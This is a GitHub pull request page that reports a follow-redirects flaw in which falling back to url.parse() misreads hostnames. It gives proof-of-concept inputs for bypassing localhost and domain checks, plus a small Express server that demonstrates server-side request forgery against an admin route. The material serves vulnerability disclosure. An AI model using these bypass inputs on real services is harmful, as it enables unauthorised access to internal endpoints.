Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Patched Fix Follow Redirects improperly handles URLs in the url.parse() function #18

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

sufatmawati
Copy link

Description Overview

Affected of this project yahoo/verizon-media-open-source-project-portal are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

PoC:

# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://localhost/admin
}

# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}

Below is part of follow-redirects's .js code.

function urlToOptions(urlObject) {
  var options = {
    protocol: urlObject.protocol,
    hostname: urlObject.hostname.startsWith("[") ?
      /* istanbul ignore next */
      urlObject.hostname.slice(1, -1) :
      urlObject.hostname,
    hash: urlObject.hash,
    search: urlObject.search,
    pathname: urlObject.pathname,
    path: urlObject.pathname + urlObject.search,
    href: urlObject.href,
  };
  if (urlObject.port !== "") {
    options.port = Number(urlObject.port);
  }
  return options;
}

It checks URL hostname which is startswith [ character. Which means if the urlObject is http://[localhost]/, then it converts to http://localhost/.

The problem comes from below code.

    function request(input, options, callback) {
      // Parse parameters
      if (isString(input)) {
        var parsed;
        try {
          parsed = urlToOptions(new URL(input));
        }
        catch (err) {
          /* istanbul ignore next */
          parsed = url.parse(input);
        }
    /* below code skipped */

urlToOptions() function is called after new URL().

When new URL('http://[localhost]') it throws an error which is Invalid URL. Then it goes catch{ } phrase.

At the catch{ } phrase, there is vulnerable function which is url.parse().

url.parse('http://[localhost]') sees URL to http://localhost.

Proof of Concept

// PoC.js
const express = require("express");
const http = require('follow-redirects').http;
const app  = express();
const port = 80;

const isLocalhost = function (url) {
    try{
        u = new URL(url);
        if(u.hostname.includes('localhost')
        || u.hostname.includes('127.0.0.1')
        ){
            return true;
        }
    }catch{}
    return false;
}
app.use(express.json())

app.get("/", (req, res) => {
    res.send("Hello World");
})

app.post("/request", (req, res) => {
    let url = req.body.url;
    let options = {
        'followRedirects':false
    }
    if(req.body?.url){
        if(isLocalhost(req.body.url)){
            res.send('Localhost is restricted.');
            return;
        };
        http.get(url, options, (response) => {
            let data = '';
            response.on('data', chunk => {
                data += chunk.toString();
            });
            response.on('end', () => {
                res.send(data);
            })
        }).on('error', (e) => {
            console.log(e);
            res.status(500).send('Server Error');
        })
    }else{
        res.send('URL is required.');
    }
})

app.get("/admin", (req, res) => {
    if(req.socket.remoteAddress.includes('127.0.0.1')){
        res.send('Admin Page');
    }else{
        res.status(404).send('Not Found');
    }
})

app.listen(port, () => {
    console.log(`App listening on port ${port}`)
})

CWE-20
CWE-601
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

I confirm that this contribution is made under the terms of the license found in the root directory of this repository's source tree and that I have the authority necessary to make this contribution on behalf of its copyright owner.

…() function

## Description Overview
Affected of this project `yahoo/verizon-media-open-source-project-portal` are vulnerable to Improper Input Validation due to the improper handling of URLs by the `url.parse()` function. When new `URL()` throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.


**PoC:**
```js
# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://localhost/admin
}

# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}
```
Below is part of `follow-redirects's` .js code.
```js
function urlToOptions(urlObject) {
  var options = {
    protocol: urlObject.protocol,
    hostname: urlObject.hostname.startsWith("[") ?
      /* istanbul ignore next */
      urlObject.hostname.slice(1, -1) :
      urlObject.hostname,
    hash: urlObject.hash,
    search: urlObject.search,
    pathname: urlObject.pathname,
    path: urlObject.pathname + urlObject.search,
    href: urlObject.href,
  };
  if (urlObject.port !== "") {
    options.port = Number(urlObject.port);
  }
  return options;
}
```
It checks URL hostname which is startswith `[` character. Which means if the urlObject is `http://[localhost]/`, then it converts to `http://localhost/`.

The problem comes from below code.
```
    function request(input, options, callback) {
      // Parse parameters
      if (isString(input)) {
        var parsed;
        try {
          parsed = urlToOptions(new URL(input));
        }
        catch (err) {
          /* istanbul ignore next */
          parsed = url.parse(input);
        }
    /* below code skipped */
```
`urlToOptions()` function is called after new URL().

When new `URL('http://[localhost]')` it throws an error which is Invalid URL. Then it goes `catch{ }` phrase.

At the `catch{ }` phrase, there is vulnerable function which is `url.parse()`.

`url.parse('http://[localhost]')` sees URL to `http://localhost`.

## Proof of Concept
```js
// PoC.js
const express = require("express");
const http = require('follow-redirects').http;
const app  = express();
const port = 80;

const isLocalhost = function (url) {
    try{
        u = new URL(url);
        if(u.hostname.includes('localhost')
        || u.hostname.includes('127.0.0.1')
        ){
            return true;
        }
    }catch{}
    return false;
}
app.use(express.json())

app.get("/", (req, res) => {
    res.send("Hello World");
})

app.post("/request", (req, res) => {
    let url = req.body.url;
    let options = {
        'followRedirects':false
    }
    if(req.body?.url){
        if(isLocalhost(req.body.url)){
            res.send('Localhost is restricted.');
            return;
        };
        http.get(url, options, (response) => {
            let data = '';
            response.on('data', chunk => {
                data += chunk.toString();
            });
            response.on('end', () => {
                res.send(data);
            })
        }).on('error', (e) => {
            console.log(e);
            res.status(500).send('Server Error');
        })
    }else{
        res.send('URL is required.');
    }
})

app.get("/admin", (req, res) => {
    if(req.socket.remoteAddress.includes('127.0.0.1')){
        res.send('Admin Page');
    }else{
        res.status(404).send('Not Found');
    }
})

app.listen(port, () => {
    console.log(`App listening on port ${port}`)
})
```
CWE-20
CWE-601
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

1 participant